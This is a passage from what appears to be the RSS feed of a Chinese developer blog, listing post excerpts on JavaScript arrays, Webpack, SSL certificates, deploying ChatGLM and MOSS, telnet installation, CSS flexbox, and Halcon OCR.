&#34;banana&#34;, &#34;orange&#34;] unshift()：向数组开头添加一个或多个元素，并返回新的长度 let fruits = [&#34;apple&#34;, &#34;banana&#34;]; fruits.unshift(&#34;orange&#34;, &#34;kiwi&#34;); console.log(fruits); // [&#34;orange&#34;, &#34;kiwi&#34;, &#34;apple&#34;, &#34;banana&#34;] shift()：删除数组第一个元素，并返回被删除元素的值 let fruits = [&#34;orange&#34;, &#34;kiwi&#34;, &#34;apple&#34;, &#34;banana&#34;]; let firstFruit = fruits.shift(); console.log(firstFruit); // &#34;</description>
    </item>
    <item>
      <title>Webpack 模块打包器的使用和配置</title>
      <link>https://bchobby.github.io/posts/ad75dc8d5d6baab9388e6b116132fd12/</link>
      <pubDate>Tue, 25 Apr 2023 10:45:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad75dc8d5d6baab9388e6b116132fd12/</guid>
      <description>Webpack 是一款主流的模块打包器，它能够将各种依赖的模块打包成一个或多个静态资源，并且能够通过插件拓展其功能，支持对各种文件类型的处理。本篇文章将介绍 Webpack 模块打包器的使用和配置，包括如何安装和配置 Webpack、如何使用 Loader 和 Plugin等内容，并且将结合实例代码对这些配置进行演示。&#xA;安装和配置 Webpack 首先需要安装Webpack，使用以下命令即可：&#xA;npm install -g webpack 接下来，我们需要为我们的项目添加一个 webpack.config.js 配置文件。这个配置文件通常位于项目的根目录。&#xA;在配置文件中，需要进行如下的配置：&#xA;指定项目的入口点（entry）指定输出目录（output）指定需要使用的 Loader 数组，用来转换待打包的文件，如ES6转换为ES5指定需要使用的 Plugin 数组，用来完成其他特定的打包任务，如代码压缩 为了更好地理解这些配置，接下来让我们通过示例代码来说明。&#xA;使用 Loader 在 Webpack 应用程序中，每个文件都被视为一个模块，包括 HTML, CSS, JavaScript 等。然而，Webpack 默认只能处理 JavaScript 文件，对于其他必须的文件类型，我们需要使用 Loader 来进行转换。&#xA;例如，我们可以使用 css-loader 来加载和处理 CSS 文件，使用 file-loader 来处理图像和其他资源。以下是一个简单的配置样例：&#xA;module: { rules: [ { test: /\.css$/, use: [ &#39;style-loader&#39;, &#39;css-loader&#39; ] }, { test: /\.(png|jpg|gif)$/, use: [ { loader: &#39;file-loader&#39;, options: {} } ] } ] } 在上面的示例代码中，我们配置了两个规则以处理 CSS 文件和图片文件。对于 CSS 文件，css-loader 将 CSS 转换为 JavaScript，而 style-loader 将 CSS 插入到 HTML 文件中。</description>
    </item>
    <item>
      <title>Https域名解析——腾讯云免费SSL证书申请流程</title>
      <link>https://bchobby.github.io/posts/d94eb779acd91249276f877000f5b5b4/</link>
      <pubDate>Mon, 24 Apr 2023 22:50:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d94eb779acd91249276f877000f5b5b4/</guid>
      <description>背景 最近购买了一台腾讯云服务器，采用腾讯免费域名解析，只是绑定成功http请求及www请求。网站地址为：http://kalehu.com https一直不能访问，一直以为腾讯云与阿里虚拟主机绑定一样，只需勾选一个选项，可以直接完成，后来发现思路是错误。服务器绑定https，需要申请SSL证书之后才能进行解析，本文记录如何申请腾云免费的SSL证书&#xA;讯云免费的SSL证书。 免费腾讯云SSL说明 免费证书仅提供二级域名及其子域名证书申请，不支持 IP 与泛域名申请。例如 dnspod.cn、docs.dnspod.cn。 亚洲诚信范围内（不一定在腾讯云申请）的同一主域最多只能申请20张免费证书，申请时请注意该域名是否在其他服务商平台存在亚洲诚信下的证书，避免申请达到上限无法申请。更多详情请参见 免费证书名额相关问题。 免费证书到期后如需继续使用证书，请重新申请并安装。&#xA;申请步骤 登录 腾讯云控制台，进入 “我的证书” 管理页面，并单击申请免费证书。&#xA;2.&#xA;填写证书申请表单，如下图所示：&#xA;证书绑定域名：请填写单个域名。例如 kalehu.com&#xA;域名验证方式：&#xA;说明&#xA;自动DNS验证：验证方法请参见 自动添加 DNS。&#xA;若申请的域名已成功托管在 DNS 解析 DNSPod 控制台，可支持自动添加 DNS。&#xA;手动DNS验证：验证方法请参见 DNS 验证。&#xA;文件验证：验证方法请参见 文件验证。&#xA;申请邮箱：请输入您的邮箱地址。&#xA;算法选择：勾选所需证书的加密算法。加密算法具体内容请参见 RSA 加密算法与 ECC 加密算法的区别？﻿&#xA;证书备注名：可选，请输入证书的备注名称，不可超过200字。&#xA;私钥密码：可选，为了保障私钥安全，目前不支持密码找回功能，请您牢记私钥密码。&#xA;注意&#xA;如需部署腾讯云负载均衡、CDN 等云服务，请勿填写私钥密码。&#xA;标签：请选择您的标签键和标签值，方便您管理腾讯云已有的资源分类。&#xA;说明&#xA;如需添加标签，请参见 管理标签。&#xA;所属项目：请选择您证书所属项目，方便您通过项目管理您的证书。&#xA;根据验证操作提示，完成域名身份验证，并单击完成。如下图所示：&#xA;4.域名验证通过后，CA 机构将在24小时内完成签发证书操作，请您耐心等待。&#xA;注意&#xA;提交域名未通过 CA 机构安全审核，具体原因请参见 安全审核失败原因。&#xA;下载和部署&#xA;完成域名审核后，颁发的证书即可单击下载到本地进行安装部署或部署到腾讯云相关云服务上。&#xA;文章参考来源：腾讯云</description>
    </item>
    <item>
      <title>基于趋动云的chatGLM-6B模型的部署</title>
      <link>https://bchobby.github.io/posts/4568f3212ad901c94923dba2ae380d85/</link>
      <pubDate>Mon, 24 Apr 2023 22:30:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4568f3212ad901c94923dba2ae380d85/</guid>
      <description>首先根据官方示例教程，学会怎么创建项目，怎么使用数据，怎么进入开发环境，以及了解最重要的2个环境变量：&#xA;这个是进入开发环境以后的代码目录 $GEMINI_CODE 这个是引用数据集后，数据集存放的路径 $GEMINI_DATA_IN1 这2个linux shell环境变量很关键 创建项目时，需要注意的：&#xA;镜像选择：&#xA;数据集选择：&#xA;数据集选择后，页面会提示，数据集绑定在/gemini/data-1路径了。这个不用记忆，这个路径会保存在前面说的那个系统环境变量里，主要记住是data-#几。&#xA;运行规格选择：&#xA;这个模型你要想跑的效果快一些，必然是GPU显存多用一些，才能快，虽然6G也能跑，但是会很慢。所以选那个算力高一些的：&#xA;我第一次选的B1中等主机，结果加载到62%,直接被自动Kill了，需要大一些，建议搞large的！&#xA;上传代码：&#xA;把这三个代码上传上去,文件名别改，除非你自己懂。&#xA;requirements.txt&#xA;protobuf&amp;gt;=3.19.5,&amp;lt;3.20.1 transformers&amp;gt;=4.26.1 icetk cpm_kernels gradio options.py&#xA;import argparse parser = argparse.ArgumentParser() parser.add_argument(&#34;--port&#34;, type=int, default=&#34;17860&#34;) parser.add_argument(&#34;--model-path&#34;, type=str, default=&#34;/gemini/data-1&#34;) parser.add_argument(&#34;--precision&#34;, type=str, help=&#34;evaluate at this precision&#34;, choices=[&#34;fp16&#34;, &#34;int4&#34;, &#34;int8&#34;], default=&#34;fp16&#34;) parser.add_argument(&#34;--listen&#34;, action=&#39;store_true&#39;, help=&#34;launch gradio with 0.0.0.0 as server name, allowing to respond to network requests&#34;) parser.add_argument(&#34;--cpu&#34;, action=&#39;store_true&#39;, help=&#34;use cpu&#34;) parser.add_argument(&#34;--share&#34;, action=&#39;store_true&#39;, help=&#34;use gradio share&#34;) webui.py</description>
    </item>
    <item>
      <title>mac本配置maven后每次都要source才生效</title>
      <link>https://bchobby.github.io/posts/67b6703c1b0e43717a02da3c1b9834ce/</link>
      <pubDate>Mon, 24 Apr 2023 22:28:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67b6703c1b0e43717a02da3c1b9834ce/</guid>
      <description>每次打开终端，mvn -v都提示zsh: command not found: mvn&#xA;每次都要使用source .bash_profile才生效&#xA;解决办法⬇️&#xA;1.打开终端，输入cd ~先进入当前用户账户的目录下 2.输入touch .zshrc创建zshrc文件，然后输入vim .zshrc准备在文件内编辑命令行&#xA;注：如果提示这个文件已经存在（already exist）的话，就在提示后输入e，并回车（代表edit这个文件）&#xA;3.改成英文输入法，输入i（代表insert），然后在文件内添加这行命令&#xA;source ~/.bash_profile&#xA;然后按esc，输入:wq并回车&#xA;4.重启终端&#xA;最后重启终端，mvn -v 正常展示版本号啦</description>
    </item>
    <item>
      <title>Vivado更新比特流（.xsa）文件后，如何在vitis中更新硬件bsp文件？</title>
      <link>https://bchobby.github.io/posts/8bb069ead1a1a7000acc536d71579c05/</link>
      <pubDate>Mon, 24 Apr 2023 21:10:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8bb069ead1a1a7000acc536d71579c05/</guid>
      <description>大纲 一、更新板级支持包（注意是硬件平台右击，选择图中所示的Update Hardware Specification）二、复位重建BSP源文件三、clean 硬件平台四、 编译硬件平台五、最后一步，更新工程中的文件，刷新文件，编译工程即可。参考文献 在vivado中导出新的（.xsa)文件后，然后在vitis中进行以下的步骤：&#xA;一、更新板级支持包（注意是硬件平台右击，选择图中所示的Update Hardware Specification） 选择更新后的xsa文件&#xA;然后选择更新后的xsa文件路径&#xA;然后会出现&#xA;点击OK即可&#xA;二、复位重建BSP源文件 复位BSP文件后会出现这个错误，此时不必理会，后面编译工程后自会解决。&#xA;三、clean 硬件平台 四、 编译硬件平台 五、最后一步，更新工程中的文件，刷新文件，编译工程即可。 参考文献 [1] Update an Existing Vitis Platform’s Hardware Specification [2]赛灵思社区: vitis更新xsa问题&#xA;[3]赛灵思社区: Updating BSP in Vitis&#xA;[4] CSDN: Vivado硬件平台更新后Vitis工程如何快捷更新</description>
    </item>
    <item>
      <title>【 Node.js 教程（一）】安装、配置及初步使用</title>
      <link>https://bchobby.github.io/posts/f8d1c09c9333f789a0e650200bcdb1ef/</link>
      <pubDate>Mon, 24 Apr 2023 21:01:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f8d1c09c9333f789a0e650200bcdb1ef/</guid>
      <description>1. Node.js简介&#xA;2. Node.js的安装和配置&#xA;3. Node.js使用测试&#xA;4. 系统后台运行Node.js 应用程序&#xA;5. Excel文件读取和显示&#xA;1. Node.js简介 Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行时，它使用事件驱动、非阻塞 I/O 模型来构建轻量且高效的网络应用。以下是 Node.js 的发展历史和最新版本的介绍：&#xA;2009 年：Ryan Dahl 开始开发 Node.js，最初是为了使 JavaScript 能够在服务器端运行。2010 年：第一个稳定版本 0.1.14 发布，随后发布了一系列的版本，改进了稳定性和性能。2011 年：Node.js 的社区开始发展壮大，并发布了 0.4 和 0.6 版本，增加了很多新功能和改进。2012 年：Node.js 的社区出现分裂，因为在维护 Node.js 的过程中出现了一些问题。因此，一部分社区成员创建了 io.js 项目，这个项目包含了很多 Node.js 中没有的新特性。2015 年：Node.js 社区宣布与 io.js 合并，将两个项目合并为一个单一的 Node.js 项目。这个决定受到了 Node.js 开发者和用户的欢迎，因为它标志着 Node.js 社区的统一。2016 年：Node.js 6.x 版本发布，成为了长期支持版本（LTS）。该版本提供了一些新特性和性能优化，包括对 ES6 语法的更好支持和更快的模块加载速度。2017 年：Node.js 8.x 版本发布，成为了新的长期支持版本（LTS）。该版本提供了很多新特性和改进，包括异步追踪和性能优化。2018 年：Node.js 10.x 版本发布，成为了新的长期支持版本（LTS）。该版本增加了很多新特性，包括对 ES6 中新特性的更好支持、更好的安全性和更快的网络连接。2020 年：Node.</description>
    </item>
    <item>
      <title>CSS知识全解</title>
      <link>https://bchobby.github.io/posts/4b2637f16e28e32962a46ca86c9fa1b6/</link>
      <pubDate>Mon, 24 Apr 2023 19:56:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b2637f16e28e32962a46ca86c9fa1b6/</guid>
      <description>目录&#xA;一.CSS3三种关联方式&#xA;行内样式表&#xA;内部样式表&#xA;外部样式表&#xA;CSS优先级&#xA;扩展&#xA;二.CSS选择器&#xA;通用选择器&#xA;标签选择器&#xA;类选择器&#xA;ID选择器&#xA;后代选择器&#xA;子代选择器&#xA;交集选择器&#xA;并集选择器&#xA;伪类选择器&#xA;选择器的优先级&#xA;三.CSS常用文本属性&#xA;字体&#xA;字号&#xA;字体颜色&#xA;文本属性&#xA;四.其他常用属性&#xA;列表常用属性&#xA;超链接样式属性&#xA;五.CSS过渡与变换&#xA;transition:过渡属性&#xA;transform:变化属性&#xA;六.CSS动画&#xA;@keyframes创建关键帧动画&#xA;使用animation调用关键帧动画&#xA;七.盒子&#xA;IE盒模型&#xA;切换盒模型&#xA;八.盒属性&#xA;margin外边距&#xA;border边框&#xA;padding内边距&#xA;overflow内容溢出控制&#xA;outline外围线&#xA;box-shadow盒子阴影&#xA;border-radius边框圆角&#xA;border-image图片边框&#xA;九.浮动&#xA;clear清楚浮动&#xA;子盒子浮动造成父盒子高度塌陷&#xA;十.定位&#xA;relative相对定位&#xA;absolute绝对定位&#xA;fixed固定定位&#xA;使用定位实现元素的绝对居中&#xA;十一.z-index&#xA;作用&#xA;使用要求&#xA;z-index:auto与z-index:0的异同&#xA;z-index相同（处于同一平面的定位元素）的层叠关系&#xA;十二.网页布局&#xA;网页布局方式&#xA;响应式的实现方式&#xA;固定布局概念&#xA;流体布局概念&#xA;弹性布局详细&#xA;基本概念&#xA;作用于容器的属性&#xA;作用于项目的属性&#xA;补选择器大全&#xA;一.CSS3三种关联方式 行内样式表 就是将 CSS 代码放置在 HTML 代码内部</description>
    </item>
    <item>
      <title>chomd命令</title>
      <link>https://bchobby.github.io/posts/ef2dde7932f1d0b44a0a5cc0fc6930ce/</link>
      <pubDate>Mon, 24 Apr 2023 17:39:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef2dde7932f1d0b44a0a5cc0fc6930ce/</guid>
      <description>详细学习：Linux chmod 命令 | 菜鸟教程&#xA;结合实操了解：Linux命令`ll`的结果解析_ll命令显示结果详解_一位不想透露名字的路人甲的博客-CSDN博客</description>
    </item>
    <item>
      <title>Distcp整理</title>
      <link>https://bchobby.github.io/posts/942f06a663c3e207290c5ac3251b8f85/</link>
      <pubDate>Mon, 24 Apr 2023 17:36:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/942f06a663c3e207290c5ac3251b8f85/</guid>
      <description> 可参考：distcp 是什么？如何在两个 HDFS 集群之间传输数据？_Shockang的博客-CSDN博客&#xA;Hadoop集群间数据拷贝distcp使用_skydow的博客-CSDN博客 一篇文章彻底搞定跨集群跨版本distcp的使用_涤生大数据的博客-CSDN博客 </description>
    </item>
    <item>
      <title>如何在EXCEL中运行ChatGPT，从此不再需要记函数</title>
      <link>https://bchobby.github.io/posts/95f1a29d5adbfeb016cc1dc40a54e559/</link>
      <pubDate>Mon, 24 Apr 2023 16:40:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/95f1a29d5adbfeb016cc1dc40a54e559/</guid>
      <description>文章目录 目录&#xA;文章目录&#xA;序言&#xA;如果你可以直接使用chatGPT&#xA;如果你不可以直接使用chatGPT&#xA;序言 Excel是处理大量数据非常有用的工具。然而，找到并实施正确的公式有时可能是一个复杂和令人沮丧的经历。幸运的是，ChatGPT可以成为一个优秀的助手，帮助克服这些挑战。&#xA;借助这个AI语言模型的帮助，您可以寻求Excel相关问题的协助、创建公式，并获得实时响应，帮助您充分利用Excel。在本文中，我们将探讨一些有效的使用ChatGPT在Excel中的方法，并发现它如何增强您的数据分析体验。&#xA;如果你可以直接使用chatGPT 1、打开EXCEL ,点击插入，选择加载项：如下图&#xA;2、搜索Openai ,点击右侧添加BrainiacHelper 插件即可；&#xA;3、登录openai 右上角获取openai apikeys ；&#xA;完成以上操作就可以在Excel 中使用 chatGPT了。 如果你不可以直接使用chatGPT 有问必答，ChatGPT让小白也能轻松做表&#xA;首先我现在有个Excel表格，长的是这个样子滴。&#xA;假设我是个小白，连求和公式也不会，想要对金额进行总计，我就可以找ChatGPT帮忙。&#xA;别急，我们把问题难度提高一点点。&#xA;我们来计算1月份的金额合计，ChatGPT能不能搞定？ 咱们不确定这个答案对不对，所以复制这个公式，粘到单元格里面看看结果。&#xA;结果没有任何问题。&#xA;那么我们继续提高计算要求，先在I3:K3分别输入1、2、3，想要计算每个月的金额合计，看看有没有答案。&#xA;再也不用背什么函数语法了&#xA;这个C列的客户代码是一大串字符，其中括号里面的字母，是客户等级，我们想它提取出来，放在H里，用公式怎么写呢？&#xA;如果有人不会，可以自己贴到Excel里面去试试。&#xA;MID(D2,FIND(&#34;(&#34;,D2)+1,FIND(&#34;)&#34;,D2)-FIND(&#34;(&#34;,D2)-1) 注意啊，我提问的时候并没有说a、x、b是不确定长度的字符串，但在这里ChatGPT并没有用最简单的公式=MID(D2,3,1)来解决问题，而是准确的用FIND函数根据括号来定位x的位置，这个公式虽然长点，但是兼容性更高，真的要点赞。&#xA;当您要求ChatGPT为您创建公式时，有几件事需要记住：&#xA;提供的信息越多，越好。确保您的说明清晰明确。如果电子表格不太长，您可以复制其内容并将其提供给聊天机器人以获得更准确的响应。 双重检查ChatGPT创建的公式的格式和语法。如果其中任何一个不正确，Excel将返回错误。 始终双重检查结果以确保准确性。虽然ChatGPT可以为您创建公式，但它也有一定的限制。最好在小数据样本上测试公式，以确保它正在生成准确的结果。 下篇会有更精彩的介绍。</description>
    </item>
    <item>
      <title>信息系统项目管理师第四版 笔记</title>
      <link>https://bchobby.github.io/posts/6f0164fc99466b2a029e7309ea94a8c1/</link>
      <pubDate>Mon, 24 Apr 2023 15:31:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f0164fc99466b2a029e7309ea94a8c1/</guid>
      <description> 第一章 信息化发展 第二章 信息技术发展 2.1 信息技术及其发展 2.1.1 计算机软硬件 2.1.2 计算机网络 网络标准协议 OSIIEEE 802协议族TCP/IP 软件定义网络（SDN）第五代移动通信技术（5G） 特点：高速率，低延时，大连接国际电信联盟（ITU）定义三大应用场景：增强移动宽带（eMBB）、超高可靠低延时通信（uRLLC）、海量机器类通信（mMTC）。 2.1.3 存储和数据库 存储技术 按服务器类型分： 封闭系统：大型机开放系统：unix、linux、麒麟等 内置存储外挂存储（按连接方式分） 直连式存储（DAS）网络化存储（FAS）（按传输协议分） 网络接入存储（NAS） 协议：TCP/IP存储区域网络（SAN） 协议：FC 第三章 信息系统治理 </description>
    </item>
    <item>
      <title>VM虚拟机和Docker冲突：VMware Workstation与Device/Credential Guard不兼容</title>
      <link>https://bchobby.github.io/posts/c021489d43a8ff8825789914903a7daa/</link>
      <pubDate>Mon, 24 Apr 2023 15:13:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c021489d43a8ff8825789914903a7daa/</guid>
      <description>windows电脑不能同时运行VM虚拟机和Docker，下面提供了两个程序运行时电脑的设置方式&#xA;使用VM不使用Docker 1. 控制面板-应用-启用或关闭windows功能（找不到可以搜索）&#xA;找到hyper-v 不勾选。确定后不要重启&#xA;2. win+x运行PowerShell（管理员），运行如下命令&#xA;bcdedit /set hypervisorlaunchtype off 3. 重启电脑&#xA;使用Docker不使用VM 1. 控制面板-应用-启动或关闭windows功能（找不到可以搜索）&#xA;找到hyper-v 勾选。确定后不要重启。&#xA;2. win+x运行PowerShell（管理员），运行如下命令&#xA;bcdedit /set hypervisorlaunchtype auto 3. 重启电脑</description>
    </item>
    <item>
      <title>免费部署一个开源大模型 MOSS</title>
      <link>https://bchobby.github.io/posts/cbf38a306e3efb16993d9c57ffc60074/</link>
      <pubDate>Mon, 24 Apr 2023 15:13:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cbf38a306e3efb16993d9c57ffc60074/</guid>
      <description>2023年初，ChatGPT 人工智能对话模型火爆全球，仅两个月的时间就突破一亿月活用户，成为有史以来应用速度最快的技术之一。&#xA;ChatGPT 的大热引发了全球科技巨头之间的“军备竞赛”，中国本土的“中国版 ChatGPT ”也随之展开了激烈角逐。在中国多家科技公司中，百度于3月上线的对话 AI 产品“文心一言”最先开火。&#xA;近日复旦大学自然语言处理实验室邱锡鹏教授团队研发的大语言模型 MOSS 也已公开发布并开源。MOSS 的公开发布无疑加剧了国内 ChatGPT 式产品的竞争。&#xA;MOSS 是什么？ MOSS 是一个支持中英双语和多种插件的开源对话语言模型，moss-moon系列模型具有160亿参数，在 FP16 精度下可在单张 A100/A800 或两张 3090 显卡运行，在 INT4/8 精度下可在单张 3090 显卡运行。MOSS 基座语言模型在约七千亿中英文以及代码单词上预训练得到，后续经过对话指令微调、插件增强学习和人类偏好训练具备多轮对话能力及使用多种插件的能力。&#xA;申请服务器 这里使用阿里云免费的 GPU 服务器进行部署，免费试用活动页 https://free.aliyun.com/ 。&#xA;只要没有申请过 PAI-DSW 资源的新老用户皆可申请 5000CU 的免费额度，3个月内使用。&#xA;点击试用，完成注册、实名、领取产品后进入如下页面。&#xA;创建工作空间并授权。&#xA;授权完成，前往默认工作空间。&#xA;创建交互式建模（DWS）实例。&#xA;输入实例名称，就叫它 550W 吧~，GPU 选择 A10 或者 V100 都行，这俩是支持资源包抵扣的，其他的不支持，这里注意！V100 性能更好，但我们测试使用没必要，就选 A10 就行，A10 显卡每小时消耗6.991计算时，如果不关机持续使用大概可以使用30天。&#xA;数据集是可选的，如果想闲时关机建议使用数据集，可以把数据保存，不然每次关机后启动都得重新部署。&#xA;选择镜像 URL，填入与地区对应的镜像地址。&#xA;杭州地域：dsw-registry-vpc.cn-hangzhou.cr.aliyuncs.com/cloud-dsw/eas-service:aigc-torch113-cu117-ubuntu22.04-v0.2.1_accelerated&#xA;北京地域：dsw-registry-vpc.cn-beijing.cr.aliyuncs.com/cloud-dsw/eas-service:aigc-torch113-cu117-ubuntu22.04-v0.2.1_accelerated&#xA;上海地域：dsw-registry-vpc.cn-shanghai.cr.aliyuncs.com/cloud-dsw/eas-service:aigc-torch113-cu117-ubuntu22.04-v0.2.1_accelerated&#xA;深圳地域：dsw-registry-vpc.cn-shenzhen.cr.aliyuncs.com/cloud-dsw/eas-service:aigc-torch113-cu117-ubuntu22.04-v0.2.1_accelerated&#xA;然后点击下一步，耐心等待实例创建，这个过程还是比较耗时的。&#xA;部署 MOSS 实例创建成功后，点击打开，进入控制台。&#xA;进入下面这个页面后，点击 “Terminal” 进入命令行。</description>
    </item>
    <item>
      <title>手把手教你安装telnet（离线方式&#43;在线方式）</title>
      <link>https://bchobby.github.io/posts/6c8aa3561aa1b11d859bb8bf66d743a4/</link>
      <pubDate>Mon, 24 Apr 2023 13:57:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c8aa3561aa1b11d859bb8bf66d743a4/</guid>
      <description>系列文章目录 文章目录 系列文章目录前言一、telnet是什么？二、安装步骤总结 前言 一、telnet是什么？ Telnet协议是TCP/IP协议族中的一员，是Internet远程登录服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在终端使用者的电脑上使用telnet程序，用它连接到服务器&#xA;检测是否安装telnet软件包（通常要两个）&#xA;1、telnet-client (或 telnet)，这个软件包提供的是 telnet 客户端程序；&#xA;2、telnet-server 软件包，这个才是真正的 Telnet server 软件包！&#xA;[root@localhost ~]# rpm -q telnet telnet-0.17-38.el5 telnet客户端一般默认情况是已安装 [root@localhost ~]# rpm -q telnet-server 无表示未安装 二、安装步骤 安装环境centos7.5&#xA;1、在线安装&#xA;yum install telnet yum install telnet-server 2、离线安装（rpm包安装）&#xA;下载地址：https://vault.centos.org/&#xA;从7.6的路径下找telnet包telnet client与server&#xA;https://vault.centos.org/7.6.1810/os/x86_64/Packages/&#xA;上传到服务器&#xA;rpm -ivh telnet-0.17-48.el6.x86_64.rpm rpm -ivh telnet-server-0.17-48.el6.x86_64.rpm 总结 通过本文的总结，应该在centos7.5安装telnet很容易了把！！</description>
    </item>
    <item>
      <title>flex弹性布局的基本操作知识</title>
      <link>https://bchobby.github.io/posts/e36f68d139673251d56551f0bd9224cd/</link>
      <pubDate>Mon, 24 Apr 2023 13:47:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e36f68d139673251d56551f0bd9224cd/</guid>
      <description>今天为大家阐述如何在开发APP或网站的时候，制定一套弹性布局，相互之间兼容，那么我们就可以用Flex来实现：&#xA;什么是flex?：Flex是Flexible Box的缩写，意为”弹性布局”，用来为盒状模型提供最大的灵活性。&#xA;任何一个容器都可以指定为Flex布局!&#xA;一： 容器的属性（共6个） flex-direction（属性决定主轴的方向（即项目的排列方向））&#xA;1. row： 默认值，主轴为水平方向，起点在左端。 2. row-reverse：主轴为水平方向，起点在右端。 3. column：主轴为垂直方向，起点在上沿。 4. column-reverse：主轴为垂直方向，起点在下沿 flex-wrap （默认情况下，项目都排在一条线（又称”轴线”）上。flex-wrap属性定义，如果一条轴线排不下，如何换行。）&#xA;1. nowrap（默认）：不换行 2. wrap：换行，第一行在上方。 3. wrap-reverse：换行，第一行在下方。 flex-flow（flex-flow属性是flex-direction属性和flex-wrap属性的简写形式，默认值为row nowrap）&#xA;justify-content（justify-content属性定义了项目在主轴上的对齐方式）&#xA;它可能取5个值，具体对齐方式与轴的方向有关 1.flex-start（默认值）：左对齐 2.flex-end：右对齐 3.center： 居中 4.space-between：两端对齐，项目之间的间隔都相等。 5.space-around：每个项目两侧的间隔相等。所以，项目之间的间隔比项目与边框的间隔大一倍。 align-items（align-items属性定义项目在交叉轴上如何对齐）&#xA;它可能取5个值。具体的对齐方式与交叉轴的方向有关 1. flex-start：交叉轴的起点对齐。 2. flex-end：交叉轴的终点对齐。 3. center：交叉轴的中点对齐。 4. baseline: 项目的第一行文字的基线对齐。 5. stretch（默认值）：如果项目未设置高度或设为auto，将占满整个容器的高度 align-content（align-content属性定义了多根轴线的对齐方式。如果项目只有一根轴线，该属性不起作用）&#xA;该属性可能取6个值。 1.flex-start：与交叉轴的起点对齐。 2.flex-end：与交叉轴的终点对齐。 3.center：与交叉轴的中点对齐。 4.space-between：与交叉轴两端对齐，轴线之间的间隔平均分布。 5.space-around：每根轴线两侧的间隔都相等。所以，轴线之间的间隔比轴线与边框的间隔大一倍。 6.stretch（默认值）：轴线占满整个交叉轴。 二：项目的属性（共6个） order（order属性定义项目的排列顺序。数值越小，排列越靠前，默认为0）&#xA;flex-grow（flex-grow属性定义项目的放大比例，默认为0，即如果存在剩余空间，也不放大。）&#xA;flex-shrink（flex-shrink属性定义了项目的缩小比例，默认为1，即如果空间不足，该项目将缩小。）&#xA;如果所有项目的flex-shrink属性都为1，当空间不足时，都将等比例缩小。如果一个项目的flex-shrink属性为0，其他项目都为1，则空间不足时，前者不缩小。 负值对该属性无效 flex-basis（flex-basis属性定义了在分配多余空间之前，项目占据的主轴空间（main size）。浏览器根据这个属性，计算主轴是否有多余空间。它的默认值为auto，即项目的本来大小。）&#xA;flex-basis属性定义了在分配多余空间之前，项目占据的主轴空间（main size）。浏览器根据这个属性，计算主轴是否有多余空间。它的默认值为auto，即项目的本来大小 .item { flex-basis: &amp;lt;length&amp;gt; | auto; /* default auto */ } 它可以设为跟width或height属性一样的值（比如350px），则项目将占据固定空间 flex（flex属性是flex-grow, flex-shrink 和 flex-basis的简写，默认值为0 1 auto。后两个属性可选）</description>
    </item>
    <item>
      <title>VS2013的类视图中的类显示不全</title>
      <link>https://bchobby.github.io/posts/ac80b65b225aa451024b5337e948b467/</link>
      <pubDate>Mon, 24 Apr 2023 13:32:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac80b65b225aa451024b5337e948b467/</guid>
      <description>2023年4月24日&#xA;今天中午发现VS2013的类视图中的类有很多不显示出来。&#xA;解决方法：&#xA;VS2013的项目会生成名为 ipch 的文件夹，在ipch目录中删除“*.ipch&#34;文件，再重新启动 Visual Studio 2013就可以了。</description>
    </item>
    <item>
      <title>Halcon图像的 OCR 识别&amp;训练字符</title>
      <link>https://bchobby.github.io/posts/caacf651d37c45e5aac7f54a98930c4b/</link>
      <pubDate>Mon, 24 Apr 2023 12:00:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/caacf651d37c45e5aac7f54a98930c4b/</guid>
      <description>2.1识别 OCR 的流程和方法 处理图像使得数字或是字母为白底黑字-&amp;gt;创建字符识别句柄-&amp;gt;识别-&amp;gt;清除句柄&#xA;算子：read_ocr_class_mlp( : : FileName : OCRHandle)&#xA;示例：read_ocr_class_mlp (&#39;Document_0-9A-Z_NoRej.omc&#39;, OCRHandle)&#xA;&#39;Document_0-9A-Z_NoRej.omc&#39;（输入控制参数）：输入识别类型&#xA;OCRHandle（输出控制参数）： 输出识别句柄&#xA;算子：do_ocr_multi_class_mlp(Character, Image : : OCRHandle : Class, Confidence)&#xA;示例：do_ocr_multi_class_mlp (ObjectSelected, ImageInvert, OCRHandle, Class, Confidence)&#xA;ObjectSelected（输入对象）：输入识别区域&#xA;ImageInvert（输入对象）：输入识别图像&#xA;OCRHandle（输入参数）：输入句柄&#xA;Class（输入对象）：输出识别的字符&#xA;Confidence（输出参数）：输出识别的相似度&#xA;算子：comment( : : Comment : )&#xA;示例：clear_ocr_class_mlp (OCRHandle)&#xA;OCRHandle（输入控制参数）：输入识别句柄&#xA;2.2训练字符识别库文件流程和方法 1.提取图像中的字符-&amp;gt;&#xA;2.将每个字符加到训练文件中（append_ocr_trainf）-&amp;gt;&#xA;3.除重（uniq）-&amp;gt;&#xA;4.创建一个使用 多层感知器（create_ocr_class_mlp）-&amp;gt;&#xA;5.利用多层感知器创建一个新的OCR分级器（trainf_ocr_class_mlp）-&amp;gt;&#xA;6.将OCR分级器的OCRHandle写入文件的FileName（文件名)（write_ocr_class_mlp）-&amp;gt;&#xA;7.训练字符文件-&amp;gt;&#xA;8.读取训练后的文件 生成识别的分类器句柄read_ocr_class_mlp -&amp;gt;&#xA;9.识别字符：识别单个字符（do_ocr_single_class_mlp），识别多个字符（do_ocr_multi_class_mlp）-&amp;gt;&#xA;10.关闭分类器句柄（clear_ocr_class_mlp）&#xA;**************************详细步骤**********************&#xA;2.将每个字符加到训练文件中（append_ocr_trainf）&#xA;算子：append_ocr_trainf(Character, Image : : Class, TrainingFile : )&#xA;示例：append_ocr_trainf 